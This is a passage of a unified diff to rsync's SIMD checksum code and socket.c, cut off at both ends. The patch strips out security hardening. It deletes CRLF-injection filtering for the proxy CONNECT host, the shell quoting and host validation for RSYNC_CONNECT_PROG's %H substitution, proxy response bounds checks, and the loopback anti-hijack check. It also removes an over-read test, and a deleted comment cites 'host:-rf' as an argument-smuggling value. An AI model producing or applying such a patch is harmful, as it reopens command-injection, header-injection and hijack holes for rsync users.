called on a\n- * CPU without AVX2 (it would fault with SIGILL). Gate it on a cached runtime\n- * check; when AVX2 is absent we skip it and the SSSE3/SSE2/scalar steps,\n- * which are safe everywhere, do all the work. */\n-static int roll_asm_have_avx2(void)\n-{\n-    static int have = -1;\n-    if (have < 0) {\n-\t__builtin_cpu_init();\n-\thave = __builtin_cpu_supports(\"avx2\") ? 1 : 0;\n-    }\n-    return have;\n-}\n-\n #else /* } { */\n \n /*\n@@ -362,7 +347,8 @@ __attribute__ ((target(\"avx2\"))) MVSTATIC int32 get_checksum1_avx2_64(schar* buf\n \t__m128i tmp = _mm_load_si128((__m128i*) mul_t1_buf);\n         __m256i mul_t1 = _mm256_cvtepu8_epi16(tmp);\n \t__m256i mul_const = _mm256_broadcastd_epi32(_mm_cvtsi32_si128(4 | (3 << 8) | (2 << 16) | (1 << 24)));\n-        __m256i mul_one = _mm256_set1_epi8(1);\n+        __m256i mul_one;\n+       \t    mul_one = _mm256_abs_epi8(_mm256_cmpeq_epi16(mul_one,mul_one)); // set all vector elements to 1\n \n         for (; i < (len-64); i+=64) {\n             // Load ... 4*[int8*16]\n@@ -476,8 +462,7 @@ static inline uint32 get_checksum1_cpp(char *buf1, int32 len)\n \n     // multiples of 64 bytes using AVX2 (if available)\n #ifdef USE_ROLL_ASM\n-    if (roll_asm_have_avx2())\n-\ti = get_checksum1_avx2_asm((schar*)buf1, len, i, &s1, &s2);\n+    i = get_checksum1_avx2_asm((schar*)buf1, len, i, &s1, &s2);\n #else\n     i = get_checksum1_avx2_64((schar*)buf1, len, i, &s1, &s2);\n #endif\n@@ -488,8 +473,8 @@ static inline uint32 get_checksum1_cpp(char *buf1, int32 len)\n     // multiples of 32 bytes using SSE2 (if available)\n     i = get_checksum1_sse2_32((schar*)buf1, len, i, &s1, &s2);\n \n-    // whatever is left (updates s1/s2; the returned offset is unused here)\n-    get_checksum1_default_1((schar*)buf1, len, i, &s1, &s2);\n+    // whatever is left\n+    i = get_checksum1_default_1((schar*)buf1, len, i, &s1, &s2);\n \n     return (s1 & 0xffff) + (s2 << 16);\n }\n@@ -563,187 +548,6 @@ int main() {\n #pragma clang optimize on\n #endif /* BENCHMARK_SIMD_CHECKSUM1 */\n \n-#ifdef TEST_SIMD_CHECKSUM1\n-#include <sys/mman.h>\n-#include <unistd.h>\n-\n-static uint32 checksum_via_default(char *buf, int32 len)\n-{\n-    uint32 s1 = 0, s2 = 0;\n-    get_checksum1_default_1((schar*)buf, len, 0, &s1, &s2);\n-    return (s1 & 0xffff) + (s2 << 16);\n-}\n-\n-static uint32 checksum_via_sse2(char *buf, int32 len)\n-{\n-    int32 i;\n-    uint32 s1 = 0, s2 = 0;\n-    i = get_checksum1_sse2_32((schar*)buf, len, 0, &s1, &s2);\n-    get_checksum1_default_1((schar*)buf, len, i, &s1, &s2);\n-    return (s1 & 0xffff) + (s2 << 16);\n-}\n-\n-static uint32 checksum_via_ssse3(char *buf, int32 len)\n-{\n-    int32 i;\n-    uint32 s1 = 0, s2 = 0;\n-    i = get_checksum1_ssse3_32((schar*)buf, len, 0, &s1, &s2);\n-    get_checksum1_default_1((schar*)buf, len, i, &s1, &s2);\n-    return (s1 & 0xffff) + (s2 << 16);\n-}\n-\n-static uint32 checksum_via_avx2(char *buf, int32 len)\n-{\n-    int32 i;\n-    uint32 s1 = 0, s2 = 0;\n-#ifdef USE_ROLL_ASM\n-    if (roll_asm_have_avx2())\n-\ti = get_checksum1_avx2_asm((schar*)buf, len, 0, &s1, &s2);\n-    else\n-\ti = 0;\n-#else\n-    i = get_checksum1_avx2_64((schar*)buf, len, 0, &s1, &s2);\n-#endif\n-    get_checksum1_default_1((schar*)buf, len, i, &s1, &s2);\n-    return (s1 & 0xffff) + (s2 << 16);\n-}\n-\n-\n-/* Run every implementation on a buffer placed flush against an unreadable page,\n- * so any read past buf+len faults here instead of in a user's transfer.  The\n- * buffers above deliberately carry 64 spare bytes for the unaligned case, which\n- * is exactly what let a 64-byte over-read in the AVX2 assembly go unnoticed:\n- * it only crashed when an allocation happened to end at a page boundary. */\n-static int test_no_overread(void)\n-{\n-#if defined HAVE_SYS_MMAN_H || defined __linux__ || defined __APPLE__ || defined BSD\n-    /* Setting the guard up is not optional on the platforms this is compiled\n-     * for: if it fails we are not testing what the caller thinks, so say so and\n-     * fail rather than return a pass that looks identical to a real one. */\n-    long pagesz = sysconf(_SC_PAGESIZE);\n-    if (pagesz <= 0) {\n-        printf(\"FAIL guard-page: sysconf(_SC_PAGESIZE) gave %ld\\n\", pagesz);\n-        return 1;\n-    }\n-    size_t region = (size_t)pagesz * 4;\n-    char *base = (char *)mmap(NULL, region, PROT_READ | PROT_WRITE,\n-                              MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n-    if (base == MAP_FAILED) {\n-        printf(\"FAIL guard-page: mmap failed\\n\");\n-        return 1;\n-    }\n-    if (mprotect(base + region - pagesz, pagesz, PROT_NONE) != 0) {\n-        printf(\"FAIL guard-page: mprotect failed\\n\");\n-        munmap(base, region);\n-        return 1;\n-    }\n-    /* Whether the ASSEMBLY was reached is a separate question from whether the\n-     * checks passed.  Without AVX2 the dispatcher falls back and the guard loop\n-     * proves nothing about it, which must not read as coverage. */\n-    __builtin_cpu_init();\n-    printf(\"guard-page: AVX2 %s\\n\",\n-           __builtin_cpu_supports(\"avx2\")\n-             ? \"present, assembly and intrinsics exercised\"\n-             : \"ABSENT -- fallback only, the AVX2 paths were NOT exercised\");\n-    int failures = 0;\n-    /* 128 is the shortest the AVX2 paths will touch; step by 1 so every\n-     * remainder mod 64, and both alignments, get covered. */\n-    for (int32 len = 128; len <= 4096; len++) {\n-        char *buf = base + region - pagesz - len;   /* last byte abuts the guard */\n-        for (int32 i = 0; i < len; i++)\n-            buf[i] = (char)((i + (i % 3) + (i % 11)) % 256);\n-        uint32 ref = checksum_via_default(buf, len);\n-        if (checksum_via_sse2(buf, len) != ref\n-         || checksum_via_ssse3(buf, len) != ref\n-         || checksum_via_avx2(buf, len) != ref\n-         || get_checksum1(buf, len) != ref) {\n-            printf(\"FAIL guard-page size=%5d: mismatch at the page boundary\\n\", len);\n-            if (++failures > 4)\n-                break;\n-        }\n-    }\n-    munmap(base, region);\n-    return failures;\n-#else\n-    printf(\"guard-page: no mmap on this platform, over-read check NOT RUN\\n\");\n-    return 0;\n-#endif\n-}\n-\n-int main()\n-{\n-    static const int sizes[] = {1, 4, 31, 32, 33, 63, 64, 65, 128, 129, 256, 700, 1024, 4096, 65536};\n-    int num_sizes = sizeof(sizes) / sizeof(sizes[0]);\n-    int max_size = sizes[num_sizes - 1];\n-    int failures = 0;\n-\n-    /* Allocate with extra bytes for unaligned test */\n-    unsigned char *raw = (unsigned char *)malloc(max_size + 64 + 1);\n-    if (!raw) {\n-        fprintf(stderr, \"malloc failed\\n\");\n-        return 1;\n-    }\n-\n-    /* Fill with deterministic data */\n-    for (int i = 0; i < max_size + 64 + 1; i++)\n-        raw[i] = (i + (i % 3) + (i % 11)) % 256;\n-\n-    /* Test with aligned buffer (64-byte aligned) */\n-    unsigned char *aligned = raw + (64 - ((uintptr_t)raw % 64));\n-\n-    /* Test with unaligned buffer (+1 byte offset) */\n-    unsigned char *unaligned = aligned + 1;\n-\n-    struct { const char *name; unsigned char *buf; } buffers[] = {\n-        {\"aligned\", aligned},\n-        {\"unaligned\", unaligned},\n-    };\n-\n-    for (int b = 0; b < 2; b++) {\n-        char *buf = (char *)buffers[b].buf;\n-        const char *bname = buffers[b].name;\n-\n-        for (int s = 0; s < num_sizes; s++) {\n-            int32 len = sizes[s];\n-            uint32 ref = checksum_via_default(buf, len);\n-            uint32 cs_sse2 = checksum_via_sse2(buf, len);\n-            uint32 cs_ssse3 = checksum_via_ssse3(buf, len);\n-            uint32 cs_avx2 = checksum_via_avx2(buf, len);\n-            uint32 cs_auto = get_checksum1(buf, len);\n-\n-            if (cs_sse2 != ref) {\n-                printf(\"FAIL %-9s size=%5d: SSE2=%08x ref=%08x\\n\", bname, len, cs_sse2, ref);\n-                failures++;\n-            }\n-            if (cs_ssse3 != ref) {\n-                printf(\"FAIL %-9s size=%5d: SSSE3=%08x ref=%08x\\n\", bname, len, cs_ssse3, ref);\n-                failures++;\n-            }\n-            if (cs_avx2 != ref) {\n-                printf(\"FAIL %-9s size=%5d: AVX2=%08x ref=%08x\\n\", bname, len, cs_avx2, ref);\n-                failures++;\n-            }\n-            if (cs_auto != ref) {\n-                printf(\"FAIL %-9s size=%5d: auto=%08x ref=%08x\\n\", bname, len, cs_auto, ref);\n-                failures++;\n-            }\n-        }\n-    }\n-\n-    free(raw);\n-\n-    failures += test_no_overread();\n-\n-    if (failures) {\n-        printf(\"%d checksum mismatches!\\n\", failures);\n-        return 1;\n-    }\n-    printf(\"All SIMD checksum tests passed.\\n\");\n-    return 0;\n-}\n-\n-#endif /* TEST_SIMD_CHECKSUM1 */\n-\n #endif /* } USE_ROLL_SIMD */\n #endif /* } __cplusplus */\n #endif /* } __x86_64__ */\ndiff --git a/socket.c b/socket.c\nindex 1449055..c2075ad 100644\n--- a/socket.c\n+++ b/socket.c\n@@ -25,7 +25,6 @@\n  * emulate it using the KAME implementation. */\n \n #include \"rsync.h\"\n-#include <poll.h>\n #include \"itypes.h\"\n #include \"ifuncs.h\"\n #ifdef HAVE_NETINET_IN_SYSTM_H\n@@ -47,34 +46,22 @@ static struct sigaction sigact;\n #endif\n \n static int sock_exec(const char *prog);\n-static char *shell_quote_connect_host(const char *host);\n-\n-#define PROXY_BUF_SIZE 1024\n \n /* Establish a proxy connection on an open socket to a web proxy by using the\n  * CONNECT method.  If proxy_user and proxy_pass are not NULL, they are used to\n  * authenticate to the proxy using the \"Basic\" proxy-authorization protocol. */\n static int establish_proxy_connection(int fd, char *host, int port, char *proxy_user, char *proxy_pass)\n {\n-\tchar *cp, buffer[PROXY_BUF_SIZE + 1];\n-\tchar *authhdr, authbuf[PROXY_BUF_SIZE + 1];\n+\tchar *cp, buffer[1024];\n+\tchar *authhdr, authbuf[1024];\n \tint len;\n \n-\t/* Reject control bytes in the host so they can't be smuggled into the\n-\t * HTTP CONNECT request line (CRLF header/request injection). */\n-\tfor (cp = host; *cp; cp++) {\n-\t\tif ((unsigned char)*cp < 0x20 || (unsigned char)*cp == 0x7f) {\n-\t\t\trprintf(FERROR, \"invalid control character in proxy CONNECT host\\n\");\n-\t\t\treturn -1;\n-\t\t}\n-\t}\n-\n \tif (proxy_user && proxy_pass) {\n-\t\tstringjoin(buffer, PROXY_BUF_SIZE,\n+\t\tstringjoin(buffer, sizeof buffer,\n \t\t\t proxy_user, \":\", proxy_pass, NULL);\n \t\tlen = strlen(buffer);\n \n-\t\tif ((len*8 + 5) / 6 >= PROXY_BUF_SIZE - 3) {\n+\t\tif ((len*8 + 5) / 6 >= (int)sizeof authbuf - 3) {\n \t\t\trprintf(FERROR,\n \t\t\t\t\"authentication information is too long\\n\");\n \t\t\treturn -1;\n@@ -87,17 +74,14 @@ static int establish_proxy_connection(int fd, char *host, int port, char *proxy_\n \t\tauthhdr = \"\";\n \t}\n \n-\tlen = snprintf(buffer, PROXY_BUF_SIZE, \"CONNECT %s:%d HTTP/1.0%s%s\\r\\n\\r\\n\", host, port, authhdr, authbuf);\n-\tif (len <= 0 || len >= PROXY_BUF_SIZE) {\n-\t\trprintf(FERROR, \"proxy CONNECT request too long\\n\");\n-\t\treturn -1;\n-\t}\n+\tlen = snprintf(buffer, sizeof buffer, \"CONNECT %s:%d HTTP/1.0%s%s\\r\\n\\r\\n\", host, port, authhdr, authbuf);\n+\tassert(len > 0 && len < (int)sizeof buffer);\n \tif (write(fd, buffer, len) != len) {\n \t\trsyserr(FERROR, errno, \"failed to write to proxy\");\n \t\treturn -1;\n \t}\n \n-\tfor (cp = buffer; cp < &buffer[PROXY_BUF_SIZE - 1]; cp++) {\n+\tfor (cp = buffer; cp < &buffer[sizeof buffer - 1]; cp++) {\n \t\tif (read(fd, cp, 1) != 1) {\n \t\t\trsyserr(FERROR, errno, \"failed to read from proxy\");\n \t\t\treturn -1;\n@@ -106,13 +90,11 @@ static int establish_proxy_connection(int fd, char *host, int port, char *proxy_\n \t\t\tbreak;\n \t}\n \n-\tif (cp == &buffer[PROXY_BUF_SIZE - 1]) {\n-\t\trprintf(FERROR, \"proxy response line too long\\n\");\n-\t\treturn -1;\n-\t}\n-\t*cp = '\\0';\n-\tif (cp > buffer && cp[-1] == '\\r')\n-\t\tcp[-1] = '\\0';\n+\tif (*cp != '\\n')\n+\t\tcp++;\n+\t*cp-- = '\\0';\n+\tif (*cp == '\\r')\n+\t\t*cp = '\\0';\n \tif (strncmp(buffer, \"HTTP/\", 5) != 0) {\n \t\trprintf(FERROR, \"bad response from proxy -- %s\\n\",\n \t\t\tbuffer);\n@@ -128,7 +110,7 @@ static int establish_proxy_connection(int fd, char *host, int port, char *proxy_\n \t}\n \t/* throw away the rest of the HTTP header */\n \twhile (1) {\n-\t\tfor (cp = buffer; cp < &buffer[PROXY_BUF_SIZE - 1]; cp++) {\n+\t\tfor (cp = buffer; cp < &buffer[sizeof buffer - 1]; cp++) {\n \t\t\tif (read(fd, cp, 1) != 1) {\n \t\t\t\trsyserr(FERROR, errno,\n \t\t\t\t\t\"failed to read from proxy\");\n@@ -137,10 +119,6 @@ static int establish_proxy_connection(int fd, char *host, int port, char *proxy_\n \t\t\tif (*cp == '\\n')\n \t\t\t\tbreak;\n \t\t}\n-\t\tif (cp == &buffer[PROXY_BUF_SIZE - 1]) {\n-\t\t\trprintf(FERROR, \"proxy response header line too long\\n\");\n-\t\t\treturn -1;\n-\t\t}\n \t\tif (cp > buffer && *cp == '\\n')\n \t\t\tcp--;\n \t\tif (cp == buffer && (*cp == '\\n' || *cp == '\\r'))\n@@ -149,73 +127,6 @@ static int establish_proxy_connection(int fd, char *host, int port, char *proxy_\n \treturn 0;\n }\n \n-static char *shell_quote_connect_host(const char *host)\n-{\n-\tconst char *s;\n-\tchar *quoted, *t;\n-\tsize_t len = 2; /* surrounding single quotes */\n-\n-\tfor (s = host; *s; s++)\n-\t\tlen += *s == '\\'' ? 4 : 1;\n-\tquoted = new_array(char, len + 1);\n-\tt = quoted;\n-\t*t++ = '\\'';\n-\tfor (s = host; *s; s++) {\n-\t\tif (*s == '\\'') {\n-\t\t\tmemcpy(t, \"'\\\\''\", 4);\n-\t\t\tt += 4;\n-\t\t} else\n-\t\t\t*t++ = *s;\n-\t}\n-\t*t++ = '\\'';\n-\t*t = '\\0';\n-\treturn quoted;\n-}\n-\n-/* %H is substituted into a free-form command string that a shell then runs, and\n- * a hook of the form `sh -c '... %H ...'` re-parses the word in a nested shell\n- * where the quoting we added has already been consumed.  Restrict the host to\n- * characters that stay data through such a pass.  ('Any shell' is too strong a\n- * claim -- see the leading-'%' note below.)\n- *\n- * The set is deliberately a little wider than a DNS name: RSYNC_CONNECT_PROG\n- * exists for custom transports, where %H may be an alias the program resolves\n- * itself rather than a name the resolver ever sees, so '+' and '~' are allowed\n- * inside the string.  '%' is required for an IPv6 zone id (fe80::1%eth0) and is\n- * not special to a POSIX shell.\n- *\n- * The first character is checked separately, because several of the allowed\n- * ones change an argument's MEANING rather than its text, which no amount of\n- * quoting prevents.  Mid-word each is literal, which is why the set still\n- * allows them:\n- *   '-' and '+' both introduce options to plenty of programs -- `sh +x` is as\n- *       real as `sh -x`;\n- *   '~' is tilde-expanded by the nested shell, turning ~root into /root;\n- *   '%' is expanded by a nested fish, where %self becomes its pid (an IPv6\n- *       zone id has its '%' mid-word, so nothing legitimate is lost).\n- * An empty host is refused too: it survives a direct exec as an empty argument\n- * but vanishes entirely when a nested shell re-splits the command, shifting\n- * every argument after it.  None of these can begin a real hostname.\n- *\n- * This bounds what a SHELL can do with the value.  It cannot bound what the\n- * named program does with it -- something like \"host:-rf\" arrives intact, and a\n- * program that splits on ':' may reinterpret the tail.  That boundary belongs\n- * to whoever writes RSYNC_CONNECT_PROG. */\n-static int shell_unsafe_connect_host(const char *host)\n-{\n-\tconst unsigned char *s;\n-\n-\tif (!*host || strchr(\"-+~%\", *host))\n-\t\treturn 1;\n-\n-\tfor (s = (const unsigned char *)host; *s; s++) {\n-\t\tif (!((*s >= 'a' && *s <= 'z') || (*s >= 'A' && *s <= 'Z')\n-\t\t || (*s >= '0' && *s <= '9') || strchr(\"._:-%+~\", *s)))\n-\t\t\treturn 1;\n-\t}\n-\treturn 0;\n-}\n-\n \n /* Try to set the local address for a newly-created socket.\n  * Return -1 if this fails. */\n@@ -255,68 +166,6 @@ static void contimeout_handler(UNUSED(int val))\n \tconnect_timeout = -1;\n }\n \n-/* How long each poll() pass waits before re-checking a pending connect(). */\n-#define CONNECT_POLL_SLICE 100\n-\n-/* connect() to addr, waiting for completion with poll() rather than blocking\n- * in the kernel.  A blocking connect() can sleep forever on a connection that\n- * is already established (seen on OpenBSD, where the socket shows ESTABLISHED\n- * at both ends while connect() never returns); with no timeout set that hangs\n- * rsync for good.  Re-checking the socket on each pass costs a loop instead.\n- * Returns 0 on success, -1 with errno set on failure. */\n-static int connect_polled(int s, const struct sockaddr *addr, socklen_t addrlen)\n-{\n-\tstruct pollfd pfd;\n-\tint save_errno;\n-\n-\tset_nonblocking(s);\n-\n-\tif (connect(s, addr, addrlen) == 0)\n-\t\tgoto connected;\n-\tif (errno != EINPROGRESS && errno != EINTR)\n-\t\tgoto failed;\n-\n-\tpfd.fd = s;\n-\tpfd.events = POLLOUT;\n-\twhile (1) {\n-\t\tint err = 0;\n-\t\tsocklen_t errlen = sizeof err;\n-\n-\t\t/* the --contimeout alarm fired: let the caller report it */\n-\t\tif (connect_timeout < 0) {\n-\t\t\terrno = ETIMEDOUT;\n-\t\t\tgoto failed;\n-\t\t}\n-\t\tpfd.revents = 0;\n-\t\tif (poll(&pfd, 1, CONNECT_POLL_SLICE) < 0) {\n-\t\t\tif (errno == EINTR)\n-\t\t\t\tcontinue;\n-\t\t\tgoto failed;\n-\t\t}\n-\t\t/* A finished slice is not a failure: loop so that poll() looks\n-\t\t * at the socket again, which is what recovers a missed wakeup. */\n-\t\tif (!pfd.revents)\n-\t\t\tcontinue;\n-\t\tif (getsockopt(s, SOL_SOCKET, SO_ERROR, &err, &errlen) < 0)\n-\t\t\tgoto failed;\n-\t\tif (err) {\n-\t\t\terrno = err;\n-\t\t\tgoto failed;\n-\t\t}\n-\t\tbreak;\n-\t}\n-\n- connected:\n-\tset_blocking(s);\n-\treturn 0;\n-\n- failed:\n-\tsave_errno = errno;\n-\tset_blocking(s);\n-\terrno = save_errno;\n-\treturn -1;\n-}\n-\n /* Open a socket to a tcp remote host with the specified port.\n  *\n  * Based on code from Warren.  Proxy support by Stephen Rothwell.\n@@ -343,14 +192,6 @@ int open_socket_out(char *host, int port, const char *bind_addr, int af_hint)\n \tint proxied = 0;\n \tchar buffer[1024];\n \tchar *proxy_user = NULL, *proxy_pass = NULL;\n-#ifdef SUPPORT_IDN\n-\tchar idn_host[1024];\n-\n-\t/* The resolver only speaks ASCII, so an IDN host goes out as A-labels.\n-\t * An all-ASCII host is passed along untouched. */\n-\tif (idn_to_ascii(host, 1, idn_host, sizeof idn_host))\n-\t\thost = idn_host;\n-#endif\n \n \t/* if we have a RSYNC_PROXY env variable then redirect our\n \t * connection via a web proxy at the given address. */\n@@ -432,20 +273,23 @@ int open_socket_out(char *host, int port, const char *bind_addr, int af_hint)\n \t\t}\n \n \t\tset_socket_options(s, sockopts);\n-\t\tif (connect_polled(s, res->ai_addr, res->ai_addrlen) < 0) {\n+\t\twhile (connect(s, res->ai_addr, res->ai_addrlen) < 0) {\n \t\t\tif (connect_timeout < 0)\n \t\t\t\texit_cleanup(RERR_CONTIMEOUT);\n-\t\t\t/* stash it before close()/alarm() can overwrite errno */\n-\t\t\terrnos[j] = errno;\n+\t\t\tif (errno == EINTR)\n+\t\t\t\tcontinue;\n \t\t\tclose(s);\n \t\t\ts = -1;\n+\t\t\tbreak;\n \t\t}\n \n \t\tif (connect_timeout > 0)\n \t\t\talarm(0);\n \n-\t\tif (s < 0)\n+\t\tif (s < 0) {\n+\t\t\terrnos[j] = errno;\n \t\t\tcontinue;\n+\t\t}\n \n \t\tif (proxied && establish_proxy_connection(s, host, port, proxy_user, proxy_pass) != 0) {\n \t\t\tclose(s);\n@@ -496,12 +340,7 @@ int open_socket_out_wrapped(char *host, int port, const char *bind_addr, int af_\n \tchar *prog = getenv(\"RSYNC_CONNECT_PROG\");\n \n \tif (prog && strchr(prog, '%')) {\n-\t\tif (shell_unsafe_connect_host(host)) {\n-\t\t\trprintf(FERROR, \"unsafe host characters for RSYNC_CONNECT_PROG\\n\");\n-\t\t\treturn -1;\n-\t\t}\n-\t\tchar *qhost = shell_quote_connect_host(host);\n-\t\tint hlen = strlen(qhost);\n+\t\tint hlen = strlen(host);\n \t\tint len = strlen(prog) + 1;\n \t\tchar *f, *t;\n \t\tfor (f = prog; *f; f++) {\n@@ -522,7 +361,7 @@ int open_socket_out_wrapped(char *host, int port, const char *bind_addr, int af_\n \t\t\t\t\t/* Just skips the extra '%'. */\n \t\t\t\t\tbreak;\n \t\t\t\tcase 'H':\n-\t\t\t\t\tmemcpy(t, qhost, hlen);\n+\t\t\t\t\tmemcpy(t, host, hlen);\n \t\t\t\t\tt += hlen;\n \t\t\t\t\tcontinue;\n \t\t\t\tdefault:\n@@ -533,7 +372,6 @@ int open_socket_out_wrapped(char *host, int port, const char *bind_addr, int af_\n \t\t\t*t++ = *f;\n \t\t}\n \t\t*t = '\\0';\n-\t\tfree(qhost);\n \t}\n \n \tif (DEBUG_GTE(CONNECT, 1)) {\n@@ -694,8 +532,8 @@ static void sigchld_handler(UNUSED(int val))\n \n void start_accept_loop(int port, int (*fn)(int, int))\n {\n-\tstruct pollfd *pfds;\n-\tint *sp, nsp, i;\n+\tfd_set deffds;\n+\tint *sp, maxfd, i;\n \n #ifdef HAVE_SIGACTION\n \tsigact.sa_flags = SA_NOCLDSTOP;\n@@ -707,12 +545,8 @@ void start_accept_loop(int port, int (*fn)(int, int))\n \t\texit_cleanup(RERR_SOCKETIO);\n \n \t/* ready to listen */\n-\tfor (nsp = 0; sp[nsp] >= 0; nsp++) {}\n-\t/* poll() rather than select(): a listening fd at or above FD_SETSIZE\n-\t * would overflow an fd_set, which is undefined behaviour (issue #231). */\n-\tif (!(pfds = new_array(struct pollfd, nsp ? nsp : 1)))\n-\t\tout_of_memory(\"start_accept_loop\");\n-\tfor (i = 0; sp[i] >= 0; i++) {\n+\tFD_ZERO(&deffds);\n+\tfor (i = 0, maxfd = -1; sp[i] >= 0; i++) {\n \t\tif (listen(sp[i], lp_listen_backlog()) < 0) {\n \t\t\trsyserr(FERROR, errno, \"listen() on socket failed\");\n #ifdef INET6\n@@ -722,32 +556,36 @@ void start_accept_loop(int port, int (*fn)(int, int))\n #endif\n \t\t\texit_cleanup(RERR_SOCKETIO);\n \t\t}\n-\t\tpfds[i].fd = sp[i];\n-\t\tpfds[i].events = POLLIN;\n-\t\tpfds[i].revents = 0;\n+\t\tFD_SET(sp[i], &deffds);\n+\t\tif (maxfd < sp[i])\n+\t\t\tmaxfd = sp[i];\n \t}\n \n \t/* now accept incoming connections - forking a new process\n \t * for each incoming connection */\n \twhile (1) {\n+\t\tfd_set fds;\n \t\tpid_t pid;\n \t\tint fd;\n \t\tstruct sockaddr_storage addr;\n \t\tsocklen_t addrlen = sizeof addr;\n \n-\t\t/* close log file before the potentially very long wait so the\n+\t\t/* close log file before the potentially very long select so\n \t\t * file can be trimmed by another process instead of growing\n \t\t * forever */\n \t\tlogfile_close();\n \n-\t\tfor (i = 0; i < nsp; i++)\n-\t\t\tpfds[i].revents = 0;\n+#ifdef FD_COPY\n+\t\tFD_COPY(&deffds, &fds);\n+#else\n+\t\tfds = deffds;\n+#endif\n \n-\t\tif (poll(pfds, nsp, -1) < 1)\n+\t\tif (select(maxfd + 1, &fds, NULL, NULL, NULL) < 1)\n \t\t\tcontinue;\n \n-\t\tfor (i = 0, fd = -1; i < nsp; i++) {\n-\t\t\tif (pfds[i].revents & (POLLIN | POLLERR | POLLHUP)) {\n+\t\tfor (i = 0, fd = -1; sp[i] >= 0; i++) {\n+\t\t\tif (FD_ISSET(sp[i], &fds)) {\n \t\t\t\tfd = accept(sp[i], (struct sockaddr *)&addr, &addrlen);\n \t\t\t\tbreak;\n \t\t\t}\n@@ -769,7 +607,6 @@ void start_accept_loop(int port, int (*fn)(int, int))\n \t\t\tlogfile_reopen();\n \t\t\tret = fn(fd, fd);\n \t\t\tclose_all();\n-\t\t\tgcov_flush();\n \t\t\t_exit(ret);\n \t\t} else if (pid < 0) {\n \t\t\trsyserr(FERROR, errno,\n@@ -896,19 +733,10 @@ void set_socket_options(int fd, char *options)\n }\n \n \n-/* How long socketpair_tcp() waits for its own loopback connection (seconds),\n- * and how long each poll() pass waits before re-checking the listen queue. */\n-#define SOCKETPAIR_ACCEPT_TIMEOUT 60\n-#define SOCKETPAIR_ACCEPT_SLICE 100\n-\n /* This is like socketpair but uses tcp.  The function guarantees that nobody\n  * else can attach to the socket, or if they do that this function fails and\n- * the socket gets closed.  The anti-hijack guarantee is enforced after the\n- * accept() below: a local attacker who races a connection in on the loopback\n- * listener before our own connect() lands would be detected by the peer-vs-\n- * local address comparison and the function fails.  Returns 0 on success, -1\n- * on failure.  The resulting file descriptors are symmetrical.  Currently\n- * only for RSYNC_CONNECT_PROG. */\n+ * the socket gets closed.  Returns 0 on success, -1 on failure.  The resulting\n+ * file descriptors are symmetrical.  Currently only for RSYNC_CONNECT_PROG. */\n static int socketpair_tcp(int fd[2])\n {\n \tint listener;\n@@ -916,9 +744,8 @@ static int socketpair_tcp(int fd[2])\n \tstruct sockaddr_in sock2;\n \tsocklen_t socklen = sizeof sock;\n \tint connect_done = 0;\n-\tint save_errno;\n \n-\tfd[0] = fd[1] = -1;\t/* listener is set by socket() below before any use */\n+\tfd[0] = fd[1] = listener = -1;\n \n \tmemset(&sock, 0, sizeof sock);\n \n@@ -948,53 +775,8 @@ static int socketpair_tcp(int fd[2])\n \t} else\n \t\tconnect_done = 1;\n \n-\t/* Wait for our own connection with a polled, non-blocking accept()\n-\t * rather than a blocking one.  A blocking accept() here can sleep\n-\t * forever on a connection the kernel has already completed (seen on\n-\t * OpenBSD: both ends ESTABLISHED and the connection queued on the\n-\t * listener, the accept()ing process still asleep), which hangs rsync\n-\t * with no timeout to break it.  Re-checking the queue on each pass\n-\t * turns a missed wakeup into another loop rather than a hang. */\n-\tset_nonblocking(listener);\n-\t{\n-\t\tstruct pollfd pfd;\n-\t\ttime_t deadline = time(NULL) + SOCKETPAIR_ACCEPT_TIMEOUT;\n-\t\tint ready_but_empty = 0;\n-\n-\t\tpfd.fd = listener;\n-\t\tpfd.events = POLLIN;\n-\t\twhile ((fd[0] = accept(listener, (struct sockaddr *)&sock2, &socklen)) == -1) {\n-\t\t\tint nready;\n-\n-\t\t\tif (errno != EAGAIN && errno != EWOULDBLOCK && errno != EINTR)\n-\t\t\t\tgoto failed;\n-\t\t\t/* Bound the wait by the clock, not by a count of passes: a\n-\t\t\t * signal on every pass must not extend it, and a poll() that\n-\t\t\t * returns at once must not consume it. */\n-\t\t\tif (time(NULL) >= deadline) {\n-\t\t\t\terrno = ETIMEDOUT;\n-\t\t\t\tgoto failed;\n-\t\t\t}\n-\t\t\tif (ready_but_empty) {\n-\t\t\t\t/* The listener said ready, yet accept() found nothing\n-\t\t\t\t * (the peer can reset first).  Pause instead of\n-\t\t\t\t * spinning on a poll() that returns immediately.  A\n-\t\t\t\t * signal only cuts the pause short -- the deadline\n-\t\t\t\t * above, rechecked every pass, is the bound. */\n-\t\t\t\tif (poll(NULL, 0, SOCKETPAIR_ACCEPT_SLICE) < 0 && errno != EINTR)\n-\t\t\t\t\tgoto failed;\n-\t\t\t\tready_but_empty = 0;\n-\t\t\t\tcontinue;\n-\t\t\t}\n-\t\t\tpfd.revents = 0;\n-\t\t\tnready = poll(&pfd, 1, SOCKETPAIR_ACCEPT_SLICE);\n-\t\t\tif (nready < 0 && errno != EINTR)\n-\t\t\t\tgoto failed;\n-\t\t\tready_but_empty = nready > 0;\n-\t\t}\n-\t}\n-\t/* BSD gives the accepted fd the listener's non-blocking flag. */\n-\tset_blocking(fd[0]);\n+\tif ((fd[0] = accept(listener, (struct sockaddr *)&sock2, &socklen)) == -1)\n+\t\tgoto failed;\n \n \tclose(listener);\n \tlistener = -1;\n@@ -1006,41 +788,16 @@ static int socketpair_tcp(int fd[2])\n \t\t\tgoto failed;\n \t}\n \n-\t/* Confirm that the connection we accepted is the one we just made, and\n-\t * not one a local attacker raced in on the loopback listener before our\n-\t * own connect() completed.  The peer of the accepted end (fd[0]) must be\n-\t * the local address of our connecting end (fd[1]), and both must be\n-\t * loopback.  If they differ, someone else connected first; fail closed. */\n-\t{\n-\t\t/* {0}: the analyzer doesn't model getpeername/getsockname filling these. */\n-\t\tstruct sockaddr_in accepted_peer = {0}, our_local = {0};\n-\t\tsocklen_t plen = sizeof accepted_peer;\n-\t\tsocklen_t llen = sizeof our_local;\n-\n-\t\tif (getpeername(fd[0], (struct sockaddr *)&accepted_peer, &plen) != 0\n-\t\t || getsockname(fd[1], (struct sockaddr *)&our_local, &llen) != 0\n-\t\t || accepted_peer.sin_family != AF_INET\n-\t\t || our_local.sin_family != AF_INET\n-\t\t || accepted_peer.sin_addr.s_addr != htonl(INADDR_LOOPBACK)\n-\t\t || our_local.sin_addr.s_addr != htonl(INADDR_LOOPBACK)\n-\t\t || accepted_peer.sin_port != our_local.sin_port) {\n-\t\t\terrno = EPERM;\n-\t\t\tgoto failed;\n-\t\t}\n-\t}\n-\n \t/* all 